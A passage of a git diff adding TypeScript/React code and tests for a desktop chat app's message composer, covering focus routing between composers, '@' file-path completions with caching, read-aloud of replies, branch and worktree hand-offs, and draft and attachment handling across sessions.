+ *  nothing re-marks the active composer on its own.
+ *
+ *  Guarded on identity: a composer unmounting AFTER another one claimed the key
+ *  (closing a background tile, a deferred edit-close cleanup) must not steal it
+ *  from the live claimant. Falls through to {@link resolveActive} when the
+ *  caller's surface is buried rather than gone, so closing on a tab switch that
+ *  already re-fronted another chat surfaces there immediately. */
+export const releaseActiveComposer = (target: ComposerTarget) => {
+  if (activeTarget !== target) {
+    return
+  }
+
+  // Prefer the visible chat surface over a hard `'main'` default — releasing a
+  // closed tile while another tile is fronted should land there, not the
+  // (possibly buried) workspace tab.
+  activeTarget = visibleChatTarget() ?? 'main'
+}
+
+/** The composer that last held focus — the target `'active'` resolves to.
+ *  Used by broadcast listeners (voice, Esc-to-stop) to act on exactly one.
+ *  Heals a stale claim the same way {@link requestComposerFocus} does, so Esc
+ *  and type-to-focus never disagree after a tab switch left the bus pointing at
+ *  a keep-alive-mounted background composer. */
+export const getActiveComposer = (): ComposerTarget => resolveActive()
+
+export const requestComposerFocus = (
+  target: ComposerTarget | 'active' = 'active',
+  { typeChar }: { typeChar?: string } = {}
+) => dispatch<FocusDetail>(FOCUS_EVENT, { target: resolve(target), typeChar })
+
+export const requestComposerInsert = (
+  text: string,
+  { mode = 'block', target = 'active' }: { mode?: ComposerInsertMode; target?: ComposerTarget | 'active' } = {}
+) => {
+  const trimmed = text.trim()
+
+  if (!trimmed) {
+    return
+  }
+
+  dispatch<InsertDetail>(INSERT_EVENT, { mode, target: resolve(target), text: trimmed })
+}
+
+export const onComposerFocusRequest = (handler: (detail: FocusDetail) => void) =>
+  subscribe<FocusDetail>(FOCUS_EVENT, handler)
+
+export const onComposerInsertRequest = (handler: (detail: InsertDetail) => void) =>
+  subscribe<InsertDetail>(INSERT_EVENT, handler)
+
+/** Insert typed ref chips (carrying a display label) into a composer — the
+ * structured cousin of {@link requestComposerInsert}, used for session links. */
+export const requestComposerInsertRefs = (
+  refs: InlineRefInput[],
+  { target = 'active' }: { target?: ComposerTarget | 'active' } = {}
+) => {
+  if (refs.length) {
+    dispatch<InsertRefsDetail>(INSERT_REFS_EVENT, { refs, target: resolve(target) })
+  }
+}
+
+export const onComposerInsertRefsRequest = (handler: (detail: InsertRefsDetail) => void) =>
+  subscribe<InsertRefsDetail>(INSERT_REFS_EVENT, handler)
+
+/** Submit a prompt through a composer as if the user typed + sent it. Lets
+ * external panels (e.g. the review pane's "let the agent ship it" button) hand
+ * the agent a task without the user round-tripping through the input. */
+export const requestComposerSubmit = (
+  text: string,
+  { target = 'active' }: { target?: ComposerTarget | 'active' } = {}
+) => {
+  const trimmed = text.trim()
+
+  if (trimmed) {
+    dispatch<SubmitDetail>(SUBMIT_EVENT, { target: resolve(target), text: trimmed })
+  }
+}
+
+export const onComposerSubmitRequest = (handler: (detail: SubmitDetail) => void) =>
+  subscribe<SubmitDetail>(SUBMIT_EVENT, handler)
+
+/** Toggle ONE composer's voice conversation — the `composer.voice` hotkey
+ *  (Ctrl+B) reaches the composer that owns voice. Defaults to the active
+ *  composer so N tiles don't all flip together. */
+export const requestVoiceToggle = (target: ComposerTarget | 'active' = 'active') =>
+  dispatch<{ target: ComposerTarget }>(VOICE_TOGGLE_EVENT, { target: resolve(target) })
+
+export const onComposerVoiceToggleRequest = (handler: (target: ComposerTarget) => void) =>
+  subscribe<{ target: ComposerTarget }>(VOICE_TOGGLE_EVENT, ({ target }) => handler(target))
+
+/** The chat surface inside the zone the pointer is over, if any. Mirrors the
+ *  tab verbs' hover-first targeting (`tabTargetGroupId`, #74447): the model
+ *  hotkey lands in the pane you're pointing at without clicking into it first.
+ *  Hidden keep-alive tabs are skipped like every document-wide lookup. */
+const composerTargetInHoveredZone = (): ComposerTarget | null => {
+  const zone = $hoveredTreeGroup.get()
+
+  if (!zone || typeof document === 'undefined') {
+    return null
+  }
+
+  const surface = queryAllVisible<HTMLElement>('[data-composer-target]').find(
+    el => el.closest<HTMLElement>('[data-tree-group]')?.dataset.treeGroup === zone
+  )
+
+  return (surface?.dataset.composerTarget as ComposerTarget | undefined) ?? null
+}
+
+/** Toggle ONE composer's model menu — the `composer.modelPicker` hotkey.
+ *  Targets the pane under the pointer first (the tab-verb convention), then
+ *  the active composer. Returns false when no chat surface is on screen at
+ *  all (settings, profiles…), so the caller can fall back to the full
+ *  model-picker dialog instead of dispatching into the void. */
+export const requestModelMenuToggle = (): boolean => {
+  if (typeof document !== 'undefined' && !queryVisible('[data-composer-target]')) {
+    return false
+  }
+
+  dispatch<{ target: ComposerTarget }>(MODEL_MENU_EVENT, {
+    target: composerTargetInHoveredZone() ?? resolveActive()
+  })
+
+  return true
+}
+
+export const onComposerModelMenuRequest = (handler: (target: ComposerTarget) => void) =>
+  subscribe<{ target: ComposerTarget }>(MODEL_MENU_EVENT, ({ target }) => handler(target))
+
+/**
+ * Focus a composer input across React commit + browser focus restore.
+ *
+ * The triple-call survives:
+ *   - sync: contenteditable already mounted
+ *   - rAF:  React just committed a `renderComposerContents` swap
+ *   - 0ms:  browser focus reclaim from a click target inside an external panel
+ */
+export const focusComposerInput = (el: HTMLElement | null) => {
+  if (!el) {
+    return
+  }
+
+  // Skip when already focused: focus() runs the full focusing steps (forcing
+  // layout) even on the active element, and during a session switch the DOM is
+  // large and dirty — the redundant retries were measurably expensive there.
+  const focus = () => {
+    if (document.activeElement !== el) {
+      el.focus({ preventScroll: true })
+    }
+  }
+
+  focus()
+  window.requestAnimationFrame(focus)
+  window.setTimeout(focus, 0)
+}
+
+/** Drop focus from the main composer input (status-stack chrome, sidebar, etc.).
+ *  Skips inactive tabs — they stay mounted, so an unscoped lookup can land on a
+ *  background composer and leave the visible one focused. */
+export const blurComposerInput = () => {
+  const el = queryVisible(`[data-slot="${RICH_INPUT_SLOT}"]`)
+
+  if (el && document.activeElement === el) {
+    el.blur()
+  }
+}
diff --git a/ui-desktop/src/app/chat/composer/help-hint.tsx b/ui-desktop/src/app/chat/composer/help-hint.tsx
new file mode 100644
index 000000000..8c0546ace
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/help-hint.tsx
@@ -0,0 +1,84 @@
+import type { ReactNode } from 'react'
+
+import { KbdCombo } from '@/components/ui/kbd'
+import { useI18n } from '@/i18n'
+
+import { COMPLETION_DRAWER_CLASS } from './completion-drawer'
+
+const COMMON_COMMAND_KEYS = ['/help', '/clear', '/resume', '/details', '/copy', '/quit']
+
+/** Stable ids → i18n `hotkeyDescs` keys. Combos resolve mod labels per OS. */
+const COMPOSER_HOTKEY_ROWS = [
+  { id: 'composer.mention', combos: ['@'] },
+  { id: 'composer.slash', combos: ['/'] },
+  { id: 'composer.help', combos: ['?'] },
+  { id: 'composer.sendNewline', combos: ['enter', 'shift+enter'] },
+  { id: 'composer.sendQueued', combos: ['mod+shift+k'] },
+  { id: 'keybinds.openPanel', combos: ['mod+/'] },
+  { id: 'composer.cancel', combos: ['escape'] },
+  { id: 'composer.history', combos: ['up', 'down'] }
+] as const
+
+export function HelpHint() {
+  const { t } = useI18n()
+  const c = t.composer
+
+  return (
+    <div className={COMPLETION_DRAWER_CLASS} data-slot="composer-completion-drawer" data-state="open" role="dialog">
+      <Section title={c.commonCommands}>
+        {COMMON_COMMAND_KEYS.map(key => (
+          <Row description={c.commandDescs[key] ?? ''} key={key} keyLabel={key} mono />
+        ))}
+      </Section>
+
+      <Section title={c.hotkeys}>
+        {COMPOSER_HOTKEY_ROWS.map(row => (
+          <HotkeyRow combos={[...row.combos]} description={c.hotkeyDescs[row.id] ?? ''} key={row.id} />
+        ))}
+      </Section>
+
+      <p className="px-2.5 py-1 text-xs text-muted-foreground/80">
+        <span className="font-mono text-foreground/80">/help</span> {c.helpFooter}
+      </p>
+    </div>
+  )
+}
+
+function Section({ children, title }: { children: ReactNode; title: string }) {
+  return (
+    <div className="grid gap-0.5 pt-0.5">
+      <p className="px-2.5 pb-0.5 pt-1 text-[0.65rem] font-medium uppercase tracking-wide text-muted-foreground/75">
+        {title}
+      </p>
+      {children}
+    </div>
+  )
+}
+
+function Row({ description, keyLabel, mono = false }: { description: string; keyLabel: string; mono?: boolean }) {
+  return (
+    <div className="flex min-w-0 items-baseline gap-2 rounded-md px-2.5 py-1 text-xs">
+      <span
+        className={
+          mono ? 'shrink-0 truncate font-mono font-medium text-foreground/85' : 'shrink-0 truncate text-foreground/85'
+        }
+      >
+        {keyLabel}
+      </span>
+      <span className="min-w-0 truncate text-muted-foreground/80">{description}</span>
+    </div>
+  )
+}
+
+function HotkeyRow({ combos, description }: { combos: string[]; description: string }) {
+  return (
+    <div className="flex min-w-0 items-center gap-2 rounded-md px-2.5 py-1 text-xs">
+      <span className="flex shrink-0 items-center gap-1">
+        {combos.map(combo => (
+          <KbdCombo combo={combo} key={combo} size="sm" />
+        ))}
+      </span>
+      <span className="min-w-0 truncate text-muted-foreground/80">{description}</span>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-at-completions.test.ts b/ui-desktop/src/app/chat/composer/hooks/use-at-completions.test.ts
new file mode 100644
index 000000000..cc1818f43
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-at-completions.test.ts
@@ -0,0 +1,107 @@
+import { act, renderHook } from '@testing-library/react'
+import { describe, expect, it, vi } from 'vitest'
+
+import { queryClient } from '@/lib/query-client'
+
+import { useAtCompletions } from './use-at-completions'
+
+function gatewayStub(latencyMs = 40) {
+  const calls: string[] = []
+
+  const gateway = {
+    request: vi.fn(async (_method: string, params: { word: string }) => {
+      calls.push(params.word)
+      await new Promise(r => setTimeout(r, latencyMs))
+
+      return { items: [{ text: `@folder:${params.word.slice(1)}x/`, display: 'x/', meta: 'dir' }] }
+    })
+  }
+
+  return { calls, gateway }
+}
+
+function setup(latencyMs = 40) {
+  const { calls, gateway } = gatewayStub(latencyMs)
+
+  const { result } = renderHook(() => useAtCompletions({ gateway: gateway as never, sessionId: 's1', cwd: '/repo' }))
+
+  return { calls, result }
+}
+
+/** Type a burst of keystrokes `gapMs` apart, like a person. */
+async function type(
+  result: { current: { adapter: { search?: (q: string) => unknown } } },
+  queries: string[],
+  gapMs: number
+) {
+  for (const q of queries) {
+    act(() => {
+      result.current.adapter.search?.(q)
+    })
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(gapMs)
+    })
+  }
+}
+
+describe('PERF: @ path completions are cached and skip the debounce', () => {
+  it('serves a repeated query with no round trip and no spinner', async () => {
+    vi.useFakeTimers()
+    queryClient.clear()
+
+    const { calls, result } = setup()
+
+    // First visit to `apps/` pays the round trip.
+    await type(result, ['apps/'], 0)
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(200)
+    })
+
+    const afterFirst = calls.length
+
+    expect(afterFirst).toBe(1)
+
+    // Walk away and come back — Tab in, Backspace out, retype. Every one of
+    // these used to be a fresh git ls-files + rank on the backend.
+    await type(result, ['apps/desktop/', 'apps/', 'apps/desktop/', 'apps/'], 0)
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(200)
+    })
+
+    // Two distinct paths, so exactly two round trips total — the repeats are free.
+    expect(calls.length).toBe(2)
+    expect(result.current.loading).toBe(false)
+
+    vi.useRealTimers()
+  })
+
+  it('a cached query paints without waiting out the debounce', async () => {
+    vi.useFakeTimers()
+    queryClient.clear()
+
+    const { calls, result } = setup()
+
+    await type(result, ['apps/'], 0)
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(200)
+    })
+
+    expect(calls.length).toBe(1)
+
+    // Re-ask for the cached query and advance by far less than the 60ms
+    // debounce. A cached answer resolves in a microtask, so it must paint
+    // without the timer and without ever flipping the spinner on.
+    act(() => {
+      result.current.adapter.search?.('apps/')
+    })
+
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(1)
+    })
+
+    expect(result.current.loading).toBe(false)
+    expect(calls.length).toBe(1)
+
+    vi.useRealTimers()
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-at-completions.ts b/ui-desktop/src/app/chat/composer/hooks/use-at-completions.ts
new file mode 100644
index 000000000..9cd7a329b
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-at-completions.ts
@@ -0,0 +1,170 @@
+import type { Unstable_TriggerAdapter, Unstable_TriggerItem } from '@assistant-ui/core'
+import { useCallback } from 'react'
+
+import type { ClawCodexGateway } from '@/clawcodex'
+import { refChipLabel } from '@/components/assistant-ui/directive-text'
+import { cachedPathCompletion, hasCachedPathCompletion } from '@/lib/slash-completion-cache'
+import { normalize } from '@/lib/text'
+
+import type { CompletionEntry, CompletionPayload } from './use-live-completion-adapter'
+import { useLiveCompletionAdapter } from './use-live-completion-adapter'
+
+const KIND_RE = /^@(file|folder|url|image|tool|git):(.*)$/
+const REF_STARTERS = new Set(['file', 'folder', 'url', 'image', 'tool', 'git'])
+
+const STARTER_META: Record<string, string> = {
+  file: 'Attach a file reference',
+  folder: 'Attach a folder reference',
+  url: 'Attach a URL reference',
+  image: 'Attach an image reference',
+  tool: 'Attach a tool reference',
+  git: 'Attach git context'
+}
+
+function starterEntries(query: string): CompletionEntry[] {
+  const q = normalize(query)
+  const kinds = Array.from(REF_STARTERS)
+  const filtered = q ? kinds.filter(kind => kind.startsWith(q)) : kinds
+
+  return filtered.map(kind => ({
+    text: `@${kind}:`,
+    display: `@${kind}:`,
+    meta: STARTER_META[kind] || ''
+  }))
+}
+
+interface AtItemMetadata extends Record<string, string> {
+  icon: string
+  display: string
+  meta: string
+  /** Raw `text` field from the gateway, e.g. `@file:src/main.tsx` or `@diff`. */
+  rawText: string
+  /** Just the value portion (after `@kind:`), or empty for simple refs. */
+  insertId: string
+}
+
+function textValue(value: unknown, fallback = ''): string {
+  return typeof value === 'string' ? value : fallback
+}
+
+/** Parse the gateway's `text` field (`@file:src/foo.ts`, `@diff`, `@folder:`) into popover-ready data. */
+function classify(entry: CompletionEntry): {
+  type: string
+  insertId: string
+  display: string
+  meta: string
+} {
+  const match = KIND_RE.exec(entry.text)
+
+  if (match) {
+    const [, kind, rest] = match
+
+    return {
+      type: kind,
+      insertId: rest,
+      // The row shows exactly what picking it produces. Upstream keeps one
+      // label per item and hands it to the chip verbatim (DirectiveNode's
+      // `__label = item.label`); our wire format is `@kind:value`, which can't
+      // carry a label the way their `:type[label]{name=id}` does, so the same
+      // invariant is held by deriving both ends from refChipLabel. Without
+      // this the list said `desktop/`, the editor said `apps/desktop/`, and
+      // the chip said `desktop` — three names for one folder.
+      display: rest ? refChipLabel(kind, rest) : textValue(entry.display, `@${kind}:`),
+      meta: textValue(entry.meta)
+    }
+  }
+
+  return {
+    type: 'simple',
+    insertId: entry.text,
+    display: textValue(entry.display, entry.text),
+    meta: textValue(entry.meta)
+  }
+}
+
+/** Live `@` completions backed by the gateway's `complete.path` RPC. */
+export function useAtCompletions(options: {
+  gateway: ClawCodexGateway | null
+  sessionId: string | null
+  cwd: string | null
+}): { adapter: Unstable_TriggerAdapter; loading: boolean } {
+  const { gateway, sessionId, cwd } = options
+  const enabled = Boolean(gateway)
+
+  // Cache key: the completion depends on the query AND the directory it's
+  // resolved against, so a cwd or session change can't serve another tree's
+  // listing.
+  const cacheKey = useCallback((query: string) => `${cwd ?? ''}|${sessionId ?? ''}|${query}`, [cwd, sessionId])
+
+  const fetcher = useCallback(
+    async (query: string): Promise<CompletionPayload> => {
+      const starters = starterEntries(query)
+
+      if (!gateway) {
+        return { items: starters, query }
+      }
+
+      const word = REF_STARTERS.has(query) ? `@${query}:` : `@${query}`
+      const params: Record<string, unknown> = { word }
+
+      if (sessionId) {
+        params.session_id = sessionId
+      }
+
+      if (cwd) {
+        params.cwd = cwd
+      }
+
+      try {
+        // De-duplicated the same way `/` completions are. Walking a path is
+        // inherently repetitive — Tab into a folder, Backspace out, retype a
+        // segment — and every one of those steps used to be a fresh
+        // `git ls-files` + rank on the backend (~40ms of the ~50ms round trip
+        // measured on this repo's 8k files).
+        const result = await cachedPathCompletion(cacheKey(query), () =>
+          gateway.request<{ items?: CompletionEntry[] }>('complete.path', params)
+        )
+
+        const items = result.items ?? []
+
+        return { items: items.length > 0 ? items : starters, query }
+      } catch {
+        return { items: starters, query }
+      }
+    },
+    [cacheKey, gateway, sessionId, cwd]
+  )
+
+  const toItem = useCallback((entry: CompletionEntry, index: number): Unstable_TriggerItem => {
+    const classified = classify(entry)
+
+    const metadata: AtItemMetadata = {
+      icon: classified.type,
+      display: classified.display,
+      meta: classified.meta,
+      rawText: entry.text,
+      insertId: classified.insertId
+    }
+
+    return {
+      // Unique id keyed on the gateway's full `text` so two entries that share
+      // a basename (e.g. multiple `index.ts`) don't collide in keyboard nav.
+      id: `${entry.text}|${index}`,
+      type: classified.type,
+      label: classified.display,
+      ...(classified.meta ? { description: classified.meta } : {}),
+      metadata
+    }
+  }, [])
+
+  // A query already in cache skips both the debounce and the loading state.
+  // This is what makes walking a tree feel instant rather than merely fast:
+  // the 60ms debounce exists to avoid a request per keystroke, and it buys
+  // nothing when the answer is already in hand.
+  const isCached = useCallback((query: string) => hasCachedPathCompletion(cacheKey(query)), [cacheKey])
+
+  return useLiveCompletionAdapter({ enabled, fetcher, isCached, toItem })
+}
+
+/** Re-export `classify` for use by the formatter (insertion side). */
+export { classify }
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-auto-speak-replies.ts b/ui-desktop/src/app/chat/composer/hooks/use-auto-speak-replies.ts
new file mode 100644
index 000000000..aa657ca82
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-auto-speak-replies.ts
@@ -0,0 +1,91 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useRef } from 'react'
+
+import { playSpeechText } from '@/lib/voice-playback'
+import { ownsAmbientCue } from '@/store/ambient'
+import { notifyError } from '@/store/notifications'
+import { $voicePlayback } from '@/store/voice-playback'
+import { $autoSpeakReplies } from '@/store/voice-prefs'
+
+import { useComposerScope } from '../scope'
+
+interface AutoSpeakReply {
+  id: string
+  pending: boolean
+  text: string
+}
+
+interface UseAutoSpeakReplies {
+  conversationActive: boolean
+  failureLabel: string
+  /** Mark the current last reply spoken — shared dedupe with the conversation consumer. */
+  markSpoken: () => void
+  /** Latest completed assistant reply, or null; `pending` true while still streaming. */
+  pendingReply: () => AutoSpeakReply | null
+  /** Re-arm on session switch so opening a chat never reads its existing last reply. */
+  sessionId: string | null | undefined
+}
+
+/**
+ * Pure-TTS auto-speak: when `voice.auto_tts` is on, read each completed assistant
+ * turn aloud — no dictation, no conversation loop. Stays off while a full voice
+ * conversation runs (it speaks replies itself) and never overlaps clips: a reply
+ * landing mid-playback is held and spoken on the playback-idle edge. Always reads
+ * the latest reply, so a backlog collapses to the newest.
+ */
+export function useAutoSpeakReplies({
+  conversationActive,
+  failureLabel,
+  markSpoken,
+  pendingReply,
+  sessionId
+}: UseAutoSpeakReplies) {
+  const enabled = useStore($autoSpeakReplies)
+  // Wake on THIS composer's transcript: a tile subscribed to the primary's
+  // would never fire on its own replies (and would fire on someone else's).
+  const { $messages } = useComposerScope()
+  const latest = useRef({ conversationActive, failureLabel, markSpoken, pendingReply })
+  latest.current = { conversationActive, failureLabel, markSpoken, pendingReply }
+
+  useEffect(() => {
+    if (!enabled) {
+      return undefined
+    }
+
+    // Don't read whatever reply already sits at the bottom when the toggle flips
+    // on (or a chat opens) — consume it so only later replies are spoken.
+    latest.current.markSpoken()
+
+    const speakLatest = () => {
+      const { conversationActive, failureLabel, markSpoken, pendingReply } = latest.current
+
+      if (conversationActive || $voicePlayback.get().status !== 'idle') {
+        return
+      }
+
+      const reply = pendingReply()
+
+      if (!reply || reply.pending) {
+        return
+      }
+
+      markSpoken()
+      // Only one window voices a given reply when the same chat is open in
+      // several (reply.id is the shared backend message id). markSpoken already
+      // ran in every window, so peers just stay quiet.
+      void ownsAmbientCue(`speak:${reply.id}`).then(owns => {
+        if (owns) {
+          void playSpeechText(reply.text, { messageId: reply.id, source: 'read-aloud' }).catch(error =>
+            notifyError(error, failureLabel)
+          )
+        }
+      })
+    }
+
+    // Re-check on a reply completing ($messages) and on the prior clip ending
+    // ($voicePlayback → idle), which frees us to read the next held reply.
+    const stops = [$messages.subscribe(speakLatest), $voicePlayback.listen(speakLatest)]
+
+    return () => stops.forEach(f => f())
+  }, [$messages, enabled, sessionId])
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-composer-branch.ts b/ui-desktop/src/app/chat/composer/hooks/use-composer-branch.ts
new file mode 100644
index 000000000..60a5255ee
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-composer-branch.ts
@@ -0,0 +1,98 @@
+import { type MutableRefObject, useCallback } from 'react'
+
+import { listRepoBranches, requestStartWorkSession, startWorkInRepo, switchBranchInRepo } from '@/store/projects'
+
+import { useComposerScope } from '../scope'
+
+interface UseComposerBranchOptions {
+  clearDraft: () => void
+  cwd: null | string | undefined
+  draftRef: MutableRefObject<string>
+}
+
+/**
+ * Branch / worktree engine — the `CodingStatusRow` hand-offs. Each action opens
+ * a fresh session anchored in a worktree carrying the current composer draft as
+ * its first turn; clearing here means the draft travels to the new session
+ * instead of getting stashed under this one. Backend coupling (cwd + the
+ * projects store) is the only dependency; nothing about ChatBar's render.
+ */
+export function useComposerBranch({ clearDraft, cwd, draftRef }: UseComposerBranchOptions) {
+  const scope = useComposerScope()
+
+  // Hand a worktree off to the controller: open a fresh session anchored there,
+  // carrying the composer draft as its first turn. Clearing here means the draft
+  // travels to the new session instead of getting stashed under this one.
+  const openInWorktree = useCallback(
+    (path: string) => {
+      const text = draftRef.current
+      clearDraft()
+      scope.attachments.clear()
+      requestStartWorkSession(path, text)
+    },
+    [clearDraft, draftRef]
+  )
+
+  // Branch off into a NEW worktree (base = branch name, or current HEAD). A
+  // create failure throws back to the row (which toasts) before we touch the
+  // draft; a missing cwd / remote backend no-ops (the row hides the affordance).
+  const handleBranchOff = useCallback(
+    async (branch: string, base?: string) => {
+      const repoPath = cwd?.trim()
+      const result = repoPath && (await startWorkInRepo(repoPath, { base, branch, name: branch }))
+
+      if (result) {
+        openInWorktree(result.path)
+      }
+    },
+    [cwd, openInWorktree]
+  )
+
+  // Convert an EXISTING branch into a fresh worktree + session (no new branch).
+  // Mirrors handleBranchOff's hand-off: create the worktree, then open a session
+  // anchored there carrying the draft.
+  const handleConvertBranch = useCallback(
+    async (branch: string, path?: null | string, isDefault?: boolean) => {
+      if (path?.trim()) {
+        openInWorktree(path)
+
+        return
+      }
+
+      const repoPath = cwd?.trim()
+
+      if (repoPath && isDefault) {
+        await switchBranchInRepo(repoPath, branch)
+        openInWorktree(repoPath)
+
+        return
+      }
+
+      const result = repoPath && (await startWorkInRepo(repoPath, { existingBranch: branch }))
+
+      if (result) {
+        openInWorktree(result.path)
+      }
+    },
+    [cwd, openInWorktree]
+  )
+
+  const handleListBranches = useCallback(async () => {
+    const repoPath = cwd?.trim()
+
+    return repoPath ? listRepoBranches(repoPath) : []
+  }, [cwd])
+
+  const handleSwitchBranch = useCallback(
+    async (branch: string) => {
+      const repoPath = cwd?.trim()
+
+      if (repoPath) {
+        await switchBranchInRepo(repoPath, branch)
+      }
+    },
+    [cwd]
+  )
+
+  return { handleBranchOff, handleConvertBranch, handleListBranches, handleSwitchBranch, openInWorktree }
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-composer-draft.test.tsx b/ui-desktop/src/app/chat/composer/hooks/use-composer-draft.test.tsx
new file mode 100644
index 000000000..7707c8ae7
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-composer-draft.test.tsx
@@ -0,0 +1,177 @@
+import { act, cleanup, render } from '@testing-library/react'
+import { useLayoutEffect } from 'react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { type ComposerAttachment, mainComposerScope, stashSessionDraft } from '@/store/composer'
+
+import type { QueueEditState } from '../composer-utils'
+import { type ComposerTarget, getActiveComposer, markActiveComposer } from '../focus'
+import { type ComposerScope, ComposerScopeProvider, MAIN_COMPOSER_SCOPE } from '../scope'
+
+import { useComposerDraft } from './use-composer-draft'
+
+const mockComposerApi = { setText: vi.fn() }
+
+vi.mock('@assistant-ui/react', () => ({
+  useAui: () => ({ composer: () => mockComposerApi }),
+  useAuiState: (selector: (state: { composer: { text: string } }) => unknown) => selector({ composer: { text: '' } }),
+  useComposerRuntime: () => ({
+    getState: () => ({ text: '' }),
+    subscribe: () => () => undefined
+  })
+}))
+
+interface ProbeHarnessProps {
+  activeQueueSessionKey: string | null
+  onLayoutSnapshot: (attachments: ComposerAttachment[]) => void
+  sessionId: string
+}
+
+function ProbeHarness({ activeQueueSessionKey, onLayoutSnapshot, sessionId }: ProbeHarnessProps) {
+  useComposerDraft({
+    activeQueueSessionKey,
+    focusKey: null,
+    inputDisabled: false,
+    queueEditRef: { current: null as QueueEditState | null },
+    sessionId
+  })
+
+  // useLayoutEffect fires synchronously right after the DOM commit, BEFORE
+  // the hook's per-thread scope-swap useEffect (a passive effect) has a
+  // chance to swap attachmentScope.$attachments over to the new session. A
+  // synchronous read here — the same read ChatBar's `attachments` prop
+  // performs at render time — observes the OUTGOING session's attachments.
+  useLayoutEffect(() => {
+    onLayoutSnapshot(mainComposerScope.$attachments.get())
+  })
+
+  return null
+}
+
+describe('useComposerDraft — attachment scope stays coherent with the committed session on switch (#59305)', () => {
+  afterEach(() => {
+    cleanup()
+    mainComposerScope.clear()
+  })
+
+  it('clears the outgoing session attachments by the layout phase right after switching sessions', () => {
+    const attachmentA: ComposerAttachment = { id: 'url-A', kind: 'url', label: 'A' }
+    stashSessionDraft('session-A', 'hi from A', [attachmentA])
+
+    const snapshots: ComposerAttachment[][] = []
+
+    const { rerender } = render(
+      <ProbeHarness activeQueueSessionKey="session-A" onLayoutSnapshot={s => snapshots.push(s)} sessionId="session-A" />
+    )
+
+    // Mount loads session A's stashed attachment into the (module-level) main
+    // scope — confirms the fixture actually seeded the leak precondition.
+    expect(mainComposerScope.$attachments.get()).toEqual([attachmentA])
+
+    snapshots.length = 0 // drop the initial-mount snapshot; only the switch matters
+
+    act(() => {
+      rerender(
+        <ProbeHarness
+          activeQueueSessionKey="session-B"
+          onLayoutSnapshot={s => snapshots.push(s)}
+          sessionId="session-B"
+        />
+      )
+    })
+
+    // By the layout phase the scope must already be B's (empty) — a submit
+    // fired the instant B renders must never ship session A's attachment.
+    expect(snapshots[0]).toEqual([])
+  })
+})
+
+describe('useComposerDraft — rehydrate diagnostic log stays redacted', () => {
+  afterEach(() => {
+    cleanup()
+    mainComposerScope.clear()
+    vi.restoreAllMocks()
+  })
+
+  it('logs counts/kinds/scope on restore but never the raw url, refText, or label', () => {
+    const secretUrl = 'https://secret.example.com/private-workspace-path'
+
+    const attachment: ComposerAttachment = {
+      id: 'url-secret',
+      kind: 'url',
+      label: 'do-not-leak-label',
+      refText: `@url:${secretUrl}`
+    }
+
+    stashSessionDraft('session-secret', '', [attachment])
+
+    const debugSpy = vi.spyOn(console, 'debug').mockImplementation(() => undefined)
+
+    render(
+      <ProbeHarness
+        activeQueueSessionKey="session-secret"
+        onLayoutSnapshot={() => undefined}
+        sessionId="session-secret"
+      />
+    )
+
+    const rehydrateCalls = debugSpy.mock.calls.filter(call => call[0] === '[composer-rehydrate]')
+    expect(rehydrateCalls.length).toBeGreaterThan(0)
+
+    const serialized = JSON.stringify(rehydrateCalls)
+    expect(serialized).not.toContain(secretUrl)
+    expect(serialized).not.toContain(attachment.label)
+    expect(serialized).not.toContain(attachment.refText)
+
+    expect(rehydrateCalls[0]?.[1]).toMatchObject({
+      attachmentCount: 1,
+      attachmentKinds: ['url'],
+      scope: 'session-secret'
+    })
+  })
+})
+
+describe('useComposerDraft — a closing composer hands the focus-bus key back', () => {
+  afterEach(() => {
+    cleanup()
+    mainComposerScope.clear()
+    markActiveComposer('main')
+  })
+
+  function renderScoped(target: ComposerTarget) {
+    const scope: ComposerScope = { ...MAIN_COMPOSER_SCOPE, target }
+
+    return render(
+      <ComposerScopeProvider value={scope}>
+        <ProbeHarness
+          activeQueueSessionKey="session-tile"
+          onLayoutSnapshot={() => undefined}
+          sessionId="session-tile"
+        />
+      </ComposerScopeProvider>
+    )
+  }
+
+  it('stops `active` resolving to a session tile once the tile unmounts', () => {
+    const { unmount } = renderScoped('tile:abc')
+
+    // Mounting claims the bus for this tile — the leak precondition.
+    expect(getActiveComposer()).toBe('tile:abc')
+
+    unmount()
+
+    expect(getActiveComposer()).toBe('main')
+  })
+
+  it('leaves the key alone when another composer claimed it before this one unmounted', () => {
+    const { unmount } = renderScoped('tile:abc')
+    expect(getActiveComposer()).toBe('tile:abc')
+
+    // The user clicks into a second tile, which claims the bus.
+    markActiveComposer('tile:other')
+
+    unmount()
+
+    expect(getActiveComposer()).toBe('tile:other')
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-composer-draft.ts b/ui-desktop/src/app/chat/composer/hooks/use-composer-draft.ts
new file mode 100644
index 000000000..b5bf87dc4
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-composer-draft.ts
@@ -0,0 +1,437 @@
+import { useAui, useAuiState, useComposerRuntime } from '@assistant-ui/react'
+import { type RefObject, useCallback, useEffect, useLayoutEffect, useRef, useState } from 'react'
+
+import { SLASH_COMMAND_RE } from '@/lib/chat-runtime'
+import { sanitizeComposerInput } from '@/lib/composer-input-sanitize'
+import { type ComposerAttachment, stashSessionDraft, takeSessionDraft } from '@/store/composer'
+import { isBrowsingHistory } from '@/store/composer-input-history'
+
+import {
+  cloneAttachments,
+  DRAFT_PERSIST_DEBOUNCE_MS,
+  isPendingDraftPersistCurrent,
+  type QueueEditState
+} from '../composer-utils'
+import {
+  type ComposerInsertMode,
+  focusComposerInput,
+  markActiveComposer,
+  onComposerFocusRequest,
